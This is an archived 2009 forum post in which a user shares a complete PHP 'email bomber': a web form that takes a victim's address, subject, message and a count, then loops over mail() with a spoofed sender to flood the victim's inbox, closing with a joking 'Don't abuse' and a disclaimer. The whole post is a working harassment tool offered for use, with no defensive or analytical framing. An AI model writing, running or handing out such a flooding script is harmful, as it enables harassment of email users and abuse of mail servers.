PDA

View Full Version : PHP Email Bomber



Tonic
08-10-2009, 03:43 AM
<?
//Disable error reporting
error_reporting(E_ALL & ~E_NOTICE);

//Information to send
$vic = $_POST['vic'];
$subject = $_POST['subject'];
$msg = $_POST['msg'];
$headers = "From: /b/@anonymous.com";
$flood = $_POST['flood'];
$loop = 1;

//If information filled out spam!
if(isset($vic)) {
//Creates loop to keep mailing
while($loop <= $flood) {
mail($vic, $subject, $msg, $headers); //Mails the information
echo "Flooded ".$loop."x<br>"; //Displays how many emails sent
$loop++; //loops
}
}
else { //If info isn't filled out take them to fill out form!
?>
<form method="post">
Victim:<br />
<input type="text" name="vic"><br /><br />
Subject:<br />
<input type="text" name="subject"><br /><br />
How many Times to flood:<br />
<input type="text" name="flood"><br /><br />
Message:<br />
<input type="text" name="msg"><br />
<br />
<input type="submit" value="Spam!">
</form>
<? } ?>

Don't abuse ;)
I am not responsible for any trouble you get into.
good Day!